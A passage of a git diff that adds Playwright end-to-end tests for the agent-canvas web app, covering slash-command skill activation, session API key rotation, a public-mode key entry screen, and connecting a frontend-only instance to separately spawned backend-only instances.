+        const inputText = await inputEl.textContent().catch(() => "");
+        if (inputText?.includes(SLASH_COMMAND)) {
+          await page.getByTestId("submit-button").click();
+        } else {
+          // Card didn't populate the input — type and submit
+          await setChatInput(page, SLASH_COMMAND);
+          await page.getByTestId("submit-button").click();
+        }
+      }
+
+      // Now verify the slash command appears as a sent user message
+      await expect(
+        userMessages.filter({ hasText: SLASH_COMMAND }),
+      ).toBeVisible({ timeout: 15_000 });
+    });
+  });
+
+  // ── Test 2: direct slash command (no MCP needed) ──────────────────
+
+  test("direct slash command from home page triggers skill activation", async ({
+    page,
+    request,
+  }) => {
+    await ensureMockLLMProfile(page);
+
+    // Explicitly clear the MCP servers left by test 1.
+    // Setting mcp_config to null removes it entirely (an empty {} is treated
+    // as a no-op partial merge).
+    const clearResp = await request.patch(`${BACKEND_URL}/api/settings`, {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+        "Content-Type": "application/json",
+      },
+      data: {
+        agent_settings_diff: { mcp_config: null },
+      },
+    });
+    expect(clearResp.ok(), `Clear MCP: ${clearResp.status()}`).toBe(true);
+
+    // Verify MCP is actually gone
+    const settingsResp = await request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    const settings = await settingsResp.json();
+    const servers = settings?.agent_settings?.mcp_config ?? {};
+    expect(
+      Object.keys(servers).length,
+      `MCP servers should be empty, got: ${JSON.stringify(servers).slice(0, 200)}`,
+    ).toBe(0);
+
+    await setupTrajectory(request);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Type and submit the slash command from the home page
+    await test.step("send slash command from home page", async () => {
+      await setChatInput(page, SLASH_COMMAND);
+      await page.getByTestId("submit-button").click();
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    await test.step("verify user message", async () => {
+      const userMessages = page.locator('[data-testid="user-message"]');
+      await expect(
+        userMessages.filter({ hasText: SLASH_COMMAND }),
+      ).toBeVisible({ timeout: 15_000 });
+    });
+
+    await test.step("verify agent reply", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 45_000);
+    });
+
+    await test.step("verify activated_skills in events", async () => {
+      await assertActivatedSkills(request, conversationId);
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/backends/mock-llm-auth-modes.spec.ts b/tests/e2e/mock-llm/backends/mock-llm-auth-modes.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..38eb85f85c84cbb373fb9a66db0aef7725cfac4a
--- /dev/null
+++ b/tests/e2e/mock-llm/backends/mock-llm-auth-modes.spec.ts
@@ -0,0 +1,383 @@
+/**
+ * Mock-LLM E2E tests for authentication modes.
+ *
+ * Tests three scenarios using the same backend (agent-server) started by
+ * the main mock-LLM stack:
+ *
+ *   0. **Fresh install with runtime-injected key:** No pre-seeded
+ *      localStorage — the static-server's `<head>` injection must be the
+ *      only mechanism that gets the runtime session key into the app.
+ *      Verifies the user reaches the onboarding modal, not the Manage
+ *      Backends "trap" modal that v1.0.0-beta.7 showed.
+ *
+ *   1. **Key rotation (non-public):** The stack runs with key A, but
+ *      localStorage still holds a stale key B from a previous session.
+ *      Verifies that `syncLauncherDefaultLocalBackend()` and the
+ *      static-server's localStorage overwrite clear the stale key so the
+ *      app loads and can talk to the backend.
+ *
+ *   2. **Public-mode auth gate:** A separate static-server instance
+ *      serves the same build with `--auth-required` (no baked session
+ *      key). Verifies:
+ *        - The `ApiKeyEntryScreen` is shown when no key is configured.
+ *        - Submitting the correct key lets the app through.
+ *        - Submitting a wrong key shows an inline error.
+ *
+ * @spec BM-002 — Key rotation recovery via syncLauncherDefaultLocalBackend
+ */
+
+import { test, expect, type Page } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  PUBLIC_MODE_URL,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+} from "../utils/mock-llm-helpers";
+
+test.describe.configure({ mode: "serial" });
+
+// ═══════════════════════════════════════════════════════════════════════
+// 0. Fresh-install path (the published `agent-canvas` binary case)
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("auth mode: fresh install with runtime-injected key", () => {
+  // Regression for the bug a user hit on v1.0.0-beta.7:
+  //
+  //   `npm install -g @openhands/agent-canvas && agent-canvas`
+  //
+  // landed on the Manage Backends modal ("No extra backends added yet.")
+  // with no way out, because the prebuilt bundle has no
+  // VITE_SESSION_API_KEY baked in. The runtime key reaches the bundle via
+  // `window.__AGENT_CANVAS_SESSION_API_KEY__` injected by
+  // `scripts/static-server.mjs`; without that fallback the backend
+  // registry seeds empty and `MissingAgentServerScreen` traps the user.
+  test("reaches the onboarding modal without pre-seeded localStorage", async ({
+    page,
+    request,
+  }) => {
+    // No `addInitScript` here on purpose: we want a fresh browser context
+    // that exactly mirrors the first-launch user experience.
+
+    // Skip the analytics consent modal so it doesn't sit on top of the
+    // onboarding modal in CI screenshots/timeouts.
+    await page.addInitScript(() => {
+      window.localStorage.setItem("analytics-consent", "false");
+      window.localStorage.setItem("openhands-telemetry-consent", "denied");
+    });
+
+    const consentResp = await request.patch(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+      data: {
+        misc_settings_diff: {
+          app_preferences: { user_consents_to_analytics: false },
+        },
+      },
+    });
+    expect(consentResp.ok()).toBe(true);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+
+    // The static-server injected the runtime key into
+    // `window.__AGENT_CANVAS_SESSION_API_KEY__`; the React app reads it,
+    // seeds the default-local backend, and lands on the home page where
+    // OnboardingHost mounts the first onboarding step.
+    await waitForTestId(page, "onboarding-step-choose-agent");
+
+    // The Manage Backends "trap" modal must NOT be the screen the user
+    // sees on first launch.
+    await expect(
+      page.getByTestId("agent-server-onboarding-screen"),
+    ).not.toBeVisible({ timeout: 1_000 });
+
+    // Sanity check: the backend is actually reachable with the runtime key.
+    const settingsResp = await request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    expect(settingsResp.ok()).toBe(true);
+
+    // Sanity check: the runtime key landed on the window global.
+    const injected = await page.evaluate(
+      () =>
+        (window as unknown as Record<string, unknown>)
+          .__AGENT_CANVAS_SESSION_API_KEY__,
+    );
+    expect(injected).toBe(SESSION_API_KEY);
+  });
+});
+
+// ═══════════════════════════════════════════════════════════════════════
+// 1. Key rotation (non-public mode)
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("auth mode: non-public key rotation", () => {
+  test("recovers when localStorage has a stale session API key", async ({
+    page,
+    request,
+  }) => {
+    // Seed localStorage with a STALE key (different from the real SESSION_API_KEY
+    // that the agent-server was started with). This simulates a user who ran
+    // `LOCAL_BACKEND_API_KEY=old-key npm run dev` previously and now restarts
+    // with `LOCAL_BACKEND_API_KEY=<new-key> npm run dev`.
+    const STALE_KEY = "this-is-a-stale-key-from-previous-session";
+
+    await page.addInitScript(
+      ({ staleKey }) => {
+        // 1. Seed the legacy agent-server-config with the stale key
+        window.localStorage.setItem(
+          "openhands-agent-server-config",
+          JSON.stringify({
+            baseUrl: window.location.origin,
+            sessionApiKey: staleKey,
+          }),
+        );
+
+        // 2. Seed the backend registry with the stale key
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: "default-local",
+              name: "Local",
+              host: window.location.origin,
+              apiKey: staleKey,
+              kind: "local",
+            },
+          ]),
+        );
+
+        // 3. Mark onboarding as done, opt out of analytics
+        window.localStorage.setItem("openhands-onboarded", "1");
+        window.localStorage.setItem("analytics-consent", "false");
+        window.localStorage.setItem("openhands-telemetry-consent", "denied");
+        window.localStorage.setItem("openhands-telemetry-first-use", "true");
+      },
+      { staleKey: STALE_KEY },
+    );
+
+    // The runtime session key (injected by static-server) should be the
+    // CORRECT key. `syncLauncherDefaultLocalBackend()` overwrites the
+    // stale apiKey on the registry's default-local entry on boot, and the
+    // static-server's localStorage write overwrites the legacy stored
+    // sessionApiKey so the next read produces the live key.
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Verify the app loads — the home chat launcher should be visible.
+    // If the stale key wasn't synced, we'd see the "agent server
+    // unavailable" screen instead.
+    await waitForTestId(page, "home-chat-launcher");
+
+    // Verify the backend is reachable with a direct API call.
+    // This confirms the synced key is actually used for API requests.
+    const settingsResp = await request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    expect(
+      settingsResp.ok(),
+      `GET /api/settings should succeed but returned ${settingsResp.status()}`,
+    ).toBe(true);
+
+    // Verify localStorage was updated: the stale key should have been
+    // replaced by the baked key.
+    const storedConfig = await page.evaluate(() => {
+      const raw = window.localStorage.getItem("openhands-agent-server-config");
+      return raw ? JSON.parse(raw) : null;
+    });
+    expect(storedConfig?.sessionApiKey).not.toBe(STALE_KEY);
+  });
+});
+
+// ═══════════════════════════════════════════════════════════════════════
+// 2. Public-mode auth gate
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe("auth mode: public gate", () => {
+  // The analytics consent modal overlays the auth screen and intercepts
+  // pointer events, so suppress it for every public-mode test.
+  test.beforeEach(async ({ page }) => {
+    await page.addInitScript(() => {
+      window.localStorage.setItem("analytics-consent", "false");
+      window.localStorage.setItem("openhands-telemetry-consent", "denied");
+    });
+  });
+
+  async function openPublicAuthScreenFromFirstRun(page: Page) {
+    // Navigate to the public-mode static server (--auth-required, no
+    // baked session key). The browser has a clean context (no localStorage)
+    // so first-run users should see onboarding before the auth fallback.
+    await page.goto(PUBLIC_MODE_URL, { waitUntil: "domcontentloaded" });
+
+    await waitForTestId(page, "first-run-onboarding-screen");
+    await waitForTestId(page, "onboarding-modal");
+    await waitForTestId(page, "onboarding-step-check-backend");
+
+    await page.getByTestId("onboarding-skip").click();
+    await waitForTestId(page, "api-key-entry-screen");
+  }
+
+  test("shows first-run onboarding before the auth screen when no key is configured", async ({
+    page,
+  }) => {
+    await openPublicAuthScreenFromFirstRun(page);
+
+    // The main app UI should NOT be visible.
+    const homeLauncher = page.getByTestId("home-chat-launcher");
+    await expect(homeLauncher).not.toBeVisible({ timeout: 2_000 });
+  });
+
+  test("rejects an incorrect key with an inline error", async ({ page }) => {
+    await openPublicAuthScreenFromFirstRun(page);
+
+    // Focus → fill pattern needed for React controlled inputs (see
+    // mock-llm-conversation.spec.ts for the established pattern).
+    const nameInput = page.getByTestId("api-key-entry-name");
+    await nameInput.click();
+    await nameInput.fill("Test Server");
+
+    const keyInput = page.getByTestId("api-key-entry-api-key");
+    await keyInput.click();
+    await keyInput.fill("wrong-key-12345");
+
+    // Submit
+    await page.getByTestId("api-key-entry-submit").click();
+
+    // Should show an error status (not navigate away).
+    const statusEl = page.getByTestId("api-key-entry-status");
+    await expect(statusEl).toBeVisible({ timeout: 10_000 });
+    await expect(statusEl).toHaveClass(/text-red/);
+  });
+
+  test("allows access after pasting the correct key", async ({ page }) => {
+    await openPublicAuthScreenFromFirstRun(page);
+
+    // Focus → fill pattern needed for React controlled inputs.
+    const nameInput = page.getByTestId("api-key-entry-name");
+    await nameInput.click();
+    await nameInput.fill("Test Server");
+
+    const keyInput = page.getByTestId("api-key-entry-api-key");
+    await keyInput.click();
+    await keyInput.fill(SESSION_API_KEY);
+
+    // Submit — this validates against GET /api/settings, persists the key,
+    // and triggers a page reload.
+    await page.getByTestId("api-key-entry-submit").click();
+
+    // After reload, the app should load normally. The onboarding modal
+    // may appear (fresh localStorage), so we dismiss it. The key
+    // indicator is that we do NOT see the auth screen anymore and the
+    // page eventually shows app UI (home launcher or onboarding).
+    //
+    // Wait for the page to reload and settle.
+    await page.waitForLoadState("domcontentloaded", { timeout: 15_000 });
+
+    // After the reload, the auth screen should NOT reappear.
+    // We may see onboarding or the home page — either is acceptable.
+    const authScreen = page.getByTestId("api-key-entry-screen");
+    await expect(authScreen).not.toBeVisible({ timeout: 10_000 });
+  });
+
+  test("skips auth screen for returning user with valid stored key", async ({
+    page,
+  }) => {
+    // Simulate a returning user who previously authenticated: localStorage
+    // has a backend with the correct API key. The app should bypass the
+    // auth-required instant gate and probe /server_info with the stored
+    // key, which succeeds — so the user goes straight to the app.
+    await page.addInitScript(
+      ({ apiKey, host }) => {
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: "default-local",
+              name: "Public Server",
+              host,
+              apiKey,
+              kind: "local",
+            },
+          ]),
+        );
+        window.localStorage.setItem("openhands-onboarded", "1");
+      },
+      { apiKey: SESSION_API_KEY, host: PUBLIC_MODE_URL },
+    );
+
+    await page.goto(PUBLIC_MODE_URL, { waitUntil: "domcontentloaded" });
+
+    // The auth screen should NOT appear — the stored key is valid.
+    const authScreen = page.getByTestId("api-key-entry-screen");
+    await expect(authScreen).not.toBeVisible({ timeout: 10_000 });
+
+    // The app should load normally — we should see the home launcher.
+    await waitForTestId(page, "home-chat-launcher");
+  });
+
+  test("re-prompts when the server rotates its key (stale localStorage)", async ({
+    page,
+  }) => {
+    // Simulate the state after a key rotation:
+    //   - The user previously authenticated with key A (now stale)
+    //   - The server restarted with key B (SESSION_API_KEY)
+    //   - localStorage still holds key A
+    //
+    // On load the app detects auth is required, finds a stored key, so
+    // it skips the instant gate (isAuthRequiredAndMissing → false) and
+    // proceeds to probe /server_info with the stale key. The agent-server
+    // returns 401, isAgentServerAuthError fires, and the auth screen
+    // appears — giving the user a chance to paste the new key.
+    const STALE_KEY = "rotated-out-old-key-from-previous-deploy";
+
+    // The beforeEach already seeds analytics consent. Layer on the stale
+    // backend credentials.
+    await page.addInitScript(
+      ({ staleKey, host }) => {
+        window.localStorage.setItem(
+          "openhands-agent-server-config",
+          JSON.stringify({ baseUrl: host, sessionApiKey: staleKey }),
+        );
+        window.localStorage.setItem(
+          "openhands-backends",
+          JSON.stringify([
+            {
+              id: "default-local",
+              name: "Public Server",
+              host,
+              apiKey: staleKey,
+              kind: "local",
+            },
+          ]),
+        );
+        window.localStorage.setItem("openhands-onboarded", "1");
+      },
+      { staleKey: STALE_KEY, host: PUBLIC_MODE_URL },
+    );
+
+    await page.goto(PUBLIC_MODE_URL, { waitUntil: "domcontentloaded" });
+
+    // The app tries to probe with the stale key → 401 → auth screen.
+    await waitForTestId(page, "api-key-entry-screen");
+
+    // Enter the new (correct) key.
+    const nameInput = page.getByTestId("api-key-entry-name");
+    await nameInput.click();
+    await nameInput.fill("Rotated Server");
+
+    const keyInput = page.getByTestId("api-key-entry-api-key");
+    await keyInput.click();
+    await keyInput.fill(SESSION_API_KEY);
+
+    await page.getByTestId("api-key-entry-submit").click();
+
+    // After submitting the correct key, the page reloads and the auth
+    // screen should not reappear.
+    await page.waitForLoadState("domcontentloaded", { timeout: 15_000 });
+    const authScreen = page.getByTestId("api-key-entry-screen");
+    await expect(authScreen).not.toBeVisible({ timeout: 10_000 });
+  });
+});
diff --git a/tests/e2e/mock-llm/backends/mock-llm-cross-connect.spec.ts b/tests/e2e/mock-llm/backends/mock-llm-cross-connect.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..ffb00f1b53c16d4c961e302231b8570a6e89b377
--- /dev/null
+++ b/tests/e2e/mock-llm/backends/mock-llm-cross-connect.spec.ts
@@ -0,0 +1,850 @@
+/**
+ * Mock-LLM E2E tests for cross-connection between frontend-only and
+ * backend-only deployments.
+ *
+ * Verifies that a frontend-only instance can connect to one or more
+ * separate backend-only instances through the browser UI:
+ *
+ *   1. **Single backend**: A frontend-only instance connects to a
+ *      standalone backend-only instance. The user adds the backend
+ *      through the Manage Backends modal and verifies the app loads.
+ *
+ *   2. **Multiple backends**: A frontend-only instance connects to
+ *      two separate backend-only instances and switches between them.
+ *
+ *   3. **Pinned backend on sidebar links**: cmd/ctrl-clicking a sidebar
+ *      conversation opens the new tab on the backend that owns the
+ *      conversation, not on whichever backend localStorage happens to
+ *      name (#15573).
+ *
+ * These tests spawn their own child processes (not the webServer
+ * entries in playwright.mock-llm.config.ts) so each test controls
+ * exactly which partial-stack flags and ports are used.
+ */
+
+import { test, expect, type Page } from "@playwright/test";
+import { spawn, type ChildProcess } from "node:child_process";
+import { randomBytes } from "node:crypto";
+import { existsSync, mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+
+// ── Paths ──────────────────────────────────────────────────────────────
+const PROJECT_ROOT = resolve(
+  dirname(fileURLToPath(import.meta.url)),
+  "../../../..",
+);
+const BIN = join(PROJECT_ROOT, "bin/agent-canvas.mjs");
+
+// ── Port ranges (high ports unlikely to collide with other tests) ──────
+//
+// Each instance needs a base port; createIsolatedEnv allocates +1, +2, +3
+// for sub-services.
+const CROSS_FE_PORT = "18370";
+const CROSS_BE_A_PORT = "18380";
+const CROSS_BE_B_PORT = "18390";
+
+// ── Helpers ────────────────────────────────────────────────────────────
+
+function spawnAgentCanvas(
+  flags: string[],
+  env: Record<string, string> = {},
+): ChildProcess {
+  return spawn("node", [BIN, ...flags], {
+    cwd: PROJECT_ROOT,
+    env: {
+      ...process.env,
+      VITE_DO_NOT_TRACK: "1",
+      VITE_ENABLE_BROWSER_TOOLS: "false",
+      ...env,
+    },
+    stdio: ["ignore", "pipe", "pipe"],
+  });
+}
+
+function collectOutput(child: ChildProcess): { get(): string } {
+  let buf = "";
+  child.stdout?.on("data", (chunk: Buffer) => {
+    buf += chunk.toString();
+  });
+  child.stderr?.on("data", (chunk: Buffer) => {
+    buf += chunk.toString();
+  });
+  return { get: () => buf };
+}
+
+function createIsolatedEnv(
+  ingressPort: string,
+  extra: Record<string, string> = {},
+): { env: Record<string, string>; stateDir: string; sessionKey: string } {
+  const stateDir = mkdtempSync(join(tmpdir(), "cross-connect-"));
+  const sessionKey = randomBytes(32).toString("hex");
+  return {
+    stateDir,
+    sessionKey,
+    env: {
+      OH_CANVAS_SAFE_STATE_DIR: stateDir,
+      PORT: ingressPort,
+      LOCAL_BACKEND_API_KEY: sessionKey,
+      OH_CANVAS_SAFE_BACKEND_PORT: String(parseInt(ingressPort) + 1),
+      OH_CANVAS_SAFE_AUTOMATION_PORT: String(parseInt(ingressPort) + 2),
+      OH_CANVAS_SAFE_VITE_PORT: String(parseInt(ingressPort) + 3),
+      OH_SESSION_API_KEY_PATH: join(stateDir, "session-key.txt"),
+      ...extra,
+    },
+  };
+}
+
+async function killChild(child: ChildProcess): Promise<void> {
+  if (child.exitCode !== null) return;
+  child.kill("SIGTERM");
+  await new Promise<void>((resolve) => {
+    const timer = setTimeout(() => {
+      child.kill("SIGKILL");
+      resolve();
+    }, 5_000);
+    child.on("exit", () => {
+      clearTimeout(timer);
+      resolve();
+    });
+  });
+}
+
+/**
+ * Poll a URL until it returns a non-5xx response or timeout.
+ * Returns the HTTP status or null if the service never became ready.
+ */
+async function pollUrl(
+  url: string,
+  timeoutMs = 120_000,
+  intervalMs = 1_000,
+): Promise<number | null> {
+  const deadline = Date.now() + timeoutMs;
+  while (Date.now() < deadline) {
+    try {
+      const resp = await fetch(url, {
+        signal: AbortSignal.timeout(2_000),
+      });
+      if (resp.status < 500) return resp.status;
+    } catch {
+      // Connection refused — not ready yet
+    }
+    await new Promise((r) => setTimeout(r, intervalMs));
+  }
+  return null;
+}
+
+/** Dismiss the analytics consent modal if it appears. */
+async function dismissAnalyticsModal(page: Page) {
+  try {
+    const confirmButton = page.getByRole("button", {
+      name: "Confirm preferences",
+    });
+    await confirmButton.click({ timeout: 3_000 });
+  } catch {
+    // Modal didn't appear — fine
+  }
+}
+
+/** Suppress analytics modals via localStorage. */
+async function suppressAnalytics(page: Page) {
+  await page.addInitScript(() => {
+    window.localStorage.setItem("analytics-consent", "false");
+    window.localStorage.setItem("openhands-telemetry-consent", "denied");
+    window.localStorage.setItem("openhands-telemetry-first-use", "true");
+  });
+}
+
+async function seedBackendAnalyticsConsent(backendUrl: string, apiKey: string) {
+  const response = await fetch(`${backendUrl}/api/settings`, {
+    method: "PATCH",
+    headers: {
+      "Content-Type": "application/json",
+      "X-Session-API-Key": apiKey,
+    },
+    body: JSON.stringify({
+      misc_settings_diff: {
+        app_preferences: { user_consents_to_analytics: false },
+      },
+    }),
+  });
+
+  expect(
+    response.ok,
+    `failed to seed analytics consent on ${backendUrl}: ${response.status}`,
+  ).toBe(true);
+}
+
+/**
+ * Create a conversation directly on a backend, bypassing the UI.
+ *
+ * `POST /api/conversations` requires an agent config but never contacts the
+ * LLM at creation time, so a placeholder `base_url` is enough — this seeds a
+ * sidebar row without any LLM traffic or credentials.
+ */
+async function seedConversation(
+  backendUrl: string,
+  apiKey: string,
+): Promise<string> {
+  const response = await fetch(`${backendUrl}/api/conversations`, {
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "X-Session-API-Key": apiKey,
+    },
+    body: JSON.stringify({
+      workspace: { kind: "LocalWorkspace", working_dir: tmpdir() },
+      agent_settings: {
+        llm: {
+          model: "openai/mock-test-model",
+          api_key: "mock-api-key-for-testing",
+          base_url: "http://127.0.0.1:9/v1",
+        },
+      },
+    }),
+  });
+
+  expect(
+    response.ok,
+    `failed to seed conversation on ${backendUrl}: ${response.status}`,
+  ).toBe(true);
+
+  const { id } = (await response.json()) as { id: string };
+  return id;
+}
+
+/** Add a backend through the sidebar dropdown (post-onboarding path). */
+async function addBackendViaDropdown(
+  page: Page,
+  opts: { name: string; host: string; apiKey: string },
+) {
+  await page.getByTestId("backend-selector").click();
+  await page.getByTestId("add-backend-menu-item").click();
+
+  await expect(page.getByTestId("add-backend-modal")).toBeVisible({
+    timeout: 5_000,
+  });
+
+  // The modal defaults to the Cloud tab; switch to the manual form.
+  await page.getByTestId("add-backend-option-agent-server").click();
+  await expect(page.getByTestId("add-backend-agent-server-panel")).toBeVisible({
+    timeout: 5_000,
+  });
+
+  const nameInput = page.getByTestId("add-backend-name");
+  await nameInput.click();
+  await nameInput.fill(opts.name);
+
+  const hostInput = page.getByTestId("add-backend-host");
+  await hostInput.click();
+  await hostInput.fill(opts.host);
+
+  const keyInput = page.getByTestId("add-backend-api-key");
+  await keyInput.click();
+  await keyInput.fill(opts.apiKey);
+
+  await page.getByTestId("add-backend-submit").click();
+
+  await expect(page.getByTestId("add-backend-modal")).not.toBeVisible({
+    timeout: 15_000,
+  });
+}
+
+/** Switch the active backend through the sidebar selector. */
+async function switchBackendViaSelector(page: Page, name: string) {
+  await page.getByTestId("backend-selector").click();
+  await page.getByRole("option", { name: new RegExp(name, "i") }).click();
+  await page.waitForLoadState("domcontentloaded", { timeout: 20_000 });
+  await dismissAnalyticsModal(page);
+}
+
+/**
+ * Read the active backend id a tab would resolve from a given storage.
+ * `session` is what the current tab uses; `local` is the fallback a
+ * brand-new tab inherits.
+ */
+async function readActiveBackendId(
+  page: Page,
+  scope: "session" | "local",
+): Promise<string | null> {
+  return page.evaluate((which) => {
+    const store =
+      which === "session" ? window.sessionStorage : window.localStorage;
+    const raw = store.getItem("openhands-active-backend");
+    return raw ? (JSON.parse(raw) as { backendId: string }).backendId : null;
+  }, scope);
+}
+
+/** Read the registry id the frontend assigned to a backend, by host. */
+async function readBackendIdByHost(
+  page: Page,
+  host: string,
+): Promise<string | undefined> {
+  return page.evaluate((wanted) => {
+    const raw = window.localStorage.getItem("openhands-backends");
+    if (!raw) return undefined;
+    const parsed = JSON.parse(raw) as { id: string; host: string }[];
+    return parsed.find((b) => b.host === wanted)?.id;
+  }, host);
+}
+
+async function addBackendViaOnboarding(
+  page: Page,
+  opts: { name: string; host: string; apiKey: string },
+) {
+  await expect(page.getByTestId("onboarding-step-check-backend")).toBeVisible({
+    timeout: 15_000,
+  });
+
+  const nameInput = page.getByTestId("onboarding-backend-name");
+  await nameInput.click();
+  await nameInput.fill(opts.name);
+
+  const hostInput = page.getByTestId("onboarding-backend-host");
+  await hostInput.click();
+  await hostInput.fill(opts.host);
+
+  const keyInput = page.getByTestId("onboarding-backend-api-key");
+  await keyInput.click();
+  await keyInput.fill(opts.apiKey);
+
+  await page.getByTestId("onboarding-backend-next").click();
+
+  await expect(page.getByTestId("onboarding-step-choose-agent")).toBeVisible({
+    timeout: 15_000,
+  });
+}
+
+// ═══════════════════════════════════════════════════════════════════════
+// Tests
+// ═══════════════════════════════════════════════════════════════════════
+
+test.describe.configure({ mode: "serial" });
+
+// ───────────────────────────────────────────────────────────────────────
+// 1. Frontend-only connects to a single backend-only instance
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("cross-connect: frontend-only → backend-only", () => {
+  const children: ChildProcess[] = [];
+  const stateDirs: string[] = [];
+
+  test.afterEach(async () => {
+    await Promise.all(children.map(killChild));
+    children.length = 0;
+    for (const dir of stateDirs) rmSync(dir, { recursive: true, force: true });
+    stateDirs.length = 0;
+  });
+
+  test("frontend-only connects to a separate backend-only instance", async ({
+    page,
+  }) => {
+    // Backend-only needs uvx → agent-server: 3+ minutes
+    test.setTimeout(300_000);
+
+    // These tests spawn bin/agent-canvas.mjs locally, which needs a
+    // pre-built frontend. Skip when running in Docker-only CI (no local build).
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    // ── 1. Start backend-only instance ────────────────────────────────
+    const beEnv = createIsolatedEnv(CROSS_BE_A_PORT);
+    stateDirs.push(beEnv.stateDir);
+    const beOutput = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--backend-only"], beEnv.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+
+    // ── 2. Start frontend-only instance ───────────────────────────────
+    const feEnv = createIsolatedEnv(CROSS_FE_PORT);
+    stateDirs.push(feEnv.stateDir);
+    const feOutput = collectOutput(
+      (() => {
+        const child = spawnAgentCanvas(["--frontend-only"], feEnv.env);
+        children.push(child);
+        return child;
+      })(),
+    );
+
+    // ── 3. Wait for both to become ready (in parallel) ────────────────
+    const feUrl = `http://localhost:${CROSS_FE_PORT}`;
+    const beUrl = `http://localhost:${CROSS_BE_A_PORT}`;
+
+    const [feStatus, beStatus] = await Promise.all([
+      pollUrl(`${feUrl}/`, 60_000),
+      pollUrl(`${beUrl}/server_info`, 180_000),
+    ]);
+
+    expect(
+      feStatus,
+      `Frontend-only never ready.\nOutput: ${feOutput.get().slice(-500)}`,
+    ).toBe(200);
+    expect(
+      beStatus,
+      `Backend-only never ready.\nOutput: ${beOutput.get().slice(-800)}`,
+    ).not.toBeNull();
+    await seedBackendAnalyticsConsent(beUrl, beEnv.sessionKey);
+
+    // ── 4. Open browser to the frontend-only instance ─────────────────
+    await suppressAnalytics(page);
+    await page.goto(feUrl, { waitUntil: "domcontentloaded" });
+
+    // First-run onboarding owns the initial backend collection before
+    // the Manage Backends recovery screen is allowed to appear.
+    await expect(page.getByTestId("manage-backends-modal")).not.toBeVisible({
+      timeout: 1_000,
+    });
+
+    // ── 5. Add the backend-only instance via onboarding ───────────────
+    await addBackendViaOnboarding(page, {
+      name: "Remote Backend",
+      host: beUrl,
+      apiKey: beEnv.sessionKey,
+    });
+    await page.getByTestId("onboarding-skip").click();
+
+    // ── 6. Reload to pick up the new backend ──────────────────────────
+    // After adding a backend while the root first-run gate is active,
+    // reload once to re-evaluate the root bootstrap against the newly
+    // persisted active backend.
+    await page.reload({ waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // ── 7. Verify the app loads ───────────────────────────────────────
+    // The app should reach either the onboarding flow or the home page
+    // — crucially NOT the manage-backends modal or auth screen.
+    // Both can be visible at the same time (onboarding overlays the home
+    // launcher), so check each individually instead of using .or() which
+    // fails Playwright strict mode when both match.
+    const homeVisible = await page
+      .getByTestId("home-chat-launcher")
+      .isVisible({ timeout: 20_000 })
+      .catch(() => false);
+    const onboardingVisible = await page
+      .getByTestId("onboarding-step-choose-agent")
+      .isVisible({ timeout: 2_000 })
+      .catch(() => false);
+    expect(
+      homeVisible || onboardingVisible,
+      "Expected either home-chat-launcher or onboarding to be visible",
+    ).toBe(true);
+
+    // The manage-backends modal and auth screen must NOT be showing.
+    await expect(page.getByTestId("manage-backends-modal")).not.toBeVisible({
+      timeout: 2_000,
+    });
+    await expect(page.getByTestId("api-key-entry-screen")).not.toBeVisible({
+      timeout: 2_000,
+    });
+  });
+});
+
+// ───────────────────────────────────────────────────────────────────────
+// 2. Frontend-only connects to multiple backend-only instances
+// ───────────────────────────────────────────────────────────────────────
+
+test.describe("cross-connect: frontend-only → multiple backends", () => {
+  const children: ChildProcess[] = [];
+  const stateDirs: string[] = [];
+
+  test.afterEach(async () => {
+    await Promise.all(children.map(killChild));
+    children.length = 0;
+    for (const dir of stateDirs) rmSync(dir, { recursive: true, force: true });
+    stateDirs.length = 0;
+  });
+
+  test("connects to two separate backends and switches between them", async ({
+    page,
+  }) => {
+    // Two backend-only instances via uvx — very slow
+    test.setTimeout(360_000);
+
+    test.skip(
+      !existsSync(join(PROJECT_ROOT, "build/index.html")),
+      "build/index.html missing — skipped (run `npm run build:app` or use the npm e2e config)",
+    );
+
+    // ── 1. Spawn all three instances concurrently ─────────────────────
+    const beEnvA = createIsolatedEnv(CROSS_BE_A_PORT);
+    const beEnvB = createIsolatedEnv(CROSS_BE_B_PORT);
+    const feEnv = createIsolatedEnv(CROSS_FE_PORT);
+    stateDirs.push(beEnvA.stateDir, beEnvB.stateDir, feEnv.stateDir);
+
+    const beOutputA = collectOutput(
+      (() => {
